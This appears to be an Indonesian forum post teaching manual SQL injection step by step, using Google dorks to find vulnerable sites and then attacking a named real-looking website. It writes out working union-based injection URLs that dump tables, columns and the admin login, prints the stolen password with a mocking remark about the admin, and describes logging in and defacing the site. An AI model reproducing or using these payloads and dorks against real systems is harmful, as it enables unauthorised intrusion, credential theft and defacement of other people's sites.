Tutorial SQL Injection Manual

chmood
Beberapa waktu lalu saya pernah share tutorial SQLi menggunakan Tool HAVIJ. Ya, mungkin dengan Havij kawan2 T.I Sniper sudah bisa mendapatkan username dan password web yang vuln SQLi.Dan Udah ada di Kemp Namun mungkin anda tidak akan pernah tahu cara kerjanya karena HAvij bekerja secara otomatis. Kita hanya terima jadi saja.
oleh karena itu kali ini saya akan shere tutorial SQLi secara manual. Saya mendapat tutorial ini dari x'1n73ct.

Alat : Browser Firefox . Kenapa harus firefox ? Karena kita harus menginstall addons HACKBAR yang [sepertinya] hanya ada di Firefox. Hackbar itu seperti apa sih ? Nih screenshotnya ;


Fungsinya ? Simak saja tutorialnya sampai akhir maka anda akan tahu fungsi dari hackbar. Untuk yang belum menginstall hackbar silahkan menuju link berikut :
https://addons.mozilla.org/id/firefox/addon/hackbar/

Oke, kita mulai tutorialnya :

Step 1 :
Cari target vuln SQLi di google. Dork yang bisa digunakan :
inurl:"research.php?cid="
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()

Untuk dork lain silahkan cari sendiri atau kreasikan sendiri.
Sebagai web korban untuk tutorial ini saya memilih :http://kkverma.com/content/research.php?cid=2
Kita tambahkan tanda kitip satu ['] di akhri url untuk memastikan apakah webnya vuln SQLi atau tidak.
Sehingga menjadi : http://kkverma.com/content/research.php?cid=2'
Di situ tertulis : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by uid' at line 1 . Error ! Artinya web tersebut vuln SQLi

Step 2 :
Lanjut. Sekarang kita cari tau jumlah table di databasenya dengan perintah “order by” . Cari hingga menemukan error.
http://kkverma.com/content/research.php?cid=2 order by 1-- normal
http://kkverma.com/content/research.php?cid=2 order by 2-- normal
http://kkverma.com/content/research.php?cid=2 order by 3-- normal
http://kkverma.com/content/research.php?cid=2 order by 4-- normal
http://kkverma.com/content/research.php?cid=2 order by 5-- normal
http://kkverma.com/content/research.php?cid=2 order by 6-- ERROR

di "order by 6" kita mendapatkan error dengan tulisan : Unknown column '6' in 'order clause' yang kalo diartikan menjadi "eh, gile lu ye. Mana ada kolom 6" . Sekarang kita sudah tahu kalo jumlah kolom di databasenya ada 5 [karena error di angka 6].

Step 3 :
Sekarang kita mulai mencari "angka ajaib" yang bisa kita injeksi di step sejanjutnya dengan memasukkan perintah union select. Perhatikan saja url yang saya tulis dibawah :
http://kkverma.com/content/research.php?cid=-2 union select 1,2,3,4,5-- [ ingat, setelah ?cid= diberi tanda - ]

Muncul angka ajaib 3 dan 4 .

Step 4 :
Sekarang kita coba untuk melihat versi php dengan angka ajaib tadi. Caranya ialah dengan memasukan perintah “ @@version “atau “ version() ” kedalam salah satu angka yang muncul tadi.
http://kkverma.com/content/research.php?cid=-2 union select 1,2,version(),4,5 -- [karena 3 tadi termasuk angka ajaib]

Tertulis 5.1.61 . Versi php 5 . Berarti tutorial ini masih bisa dilanjutkan. Karena jika menemukan php versi 4 kita harus menebak sendiri isi/tabel dari databasenya.

Step 5 :
Kita akan memunculkan nama-nama table yang ada di dalam database dengan mengganti perintah “ @@version ” dengan “group_concat(table_name) ” dan menambahkan perintah “ from information_schema.tables where table_schema=database() ” sesudah angka terakhir , sebelum tanda --
http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--

Kita melihat ada table admin, research, vcounter .

Step 6 :
Sekarang main logika disini. Dimana biasanya akan disimpan data berupa user dan password ? Tentu jawabannya adalah di table admin. Kita coba melihat kolom dari table admin tersebut .
Disinilah hackbar dibutuhkan. Untuk merubah suatu kata menjadi bentuk MySQL CHAR(). Caranya : klik tombol SQL -> MySQL -> MySQL CHAR() . Lalu kita convert kata "admin" menjadi bentuk MySQL CHAR() .

Dan hasil convert dari kata admin adalah CHAR(97, 100, 109, 105, 110)

Step 7 :
Tahap selanjutnya yaitu mengetahui kolom yang ada pada table admin tersebut. Cara mengganti perintah “ group_concat(table_name) ” dengan perintah “ group_concat(column_name) ” dan mengganti perintah “ information_schema.tables “ menjadi “ information_schema.columns ” juga mengganti perintah “ table_schema=database() ” dengan perintah “ table_name=[hasil convert MySQL CHAR() - Step 6] ”

http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns wheretable_name=CHAR(97, 100, 109, 105, 110)--

Kita mendapat kolom aid, admin id, admin pass di tabel admin.

Step 8 :
Sekarang kita coba membuka data yang ada di kolom aid, admin id , dan admin pass .
Caranya ialah mengganti perintah group_concat(table_name) menjadi group_concat(aid,0x3a,admin_id,0x3a,admin_pass) dan mengganti perintah “ from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)—“ dengan perintah “from admin—“ . disitu kita melihat ada tanda 0x3a. Apa maksudnya ? 0x3a adalah bentuk HEX dari tanda sehingga data nanti akan dipisah dengan tanda : .
http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(aid,0x3a,admin_id,0x3a,admin_pass),4,5 from admin--

Kita mendapatkan data berikut ;
aid : 1
Admin ID : admin
Admin Pass : bimogay --- adminnya bernama Bimo, orangnya Gay. Hihihi

Step 9 :
Sekarang kita coba mencari halaman loginnya. Tidak bakal jauh dari kata "admin" ataupun "login" . Kalo malas mencari manual, cari dengan software Admin Finder. Cari sendiri di Google.
Kita menemukan halaman loginnya terletak di :
http://kkverma.com/admin

Masukkan user dan password sesuai dengan data yang telah kita dapat.
Dan.......

Uh, indahnya dunia ini. :v
Masuk halaman admin bray. Namun ternyata tidak bisa upload shell. Kita deface saja dengan metode JS Overlay.

Sekian tutorial kali ini, semoga bermanfaat.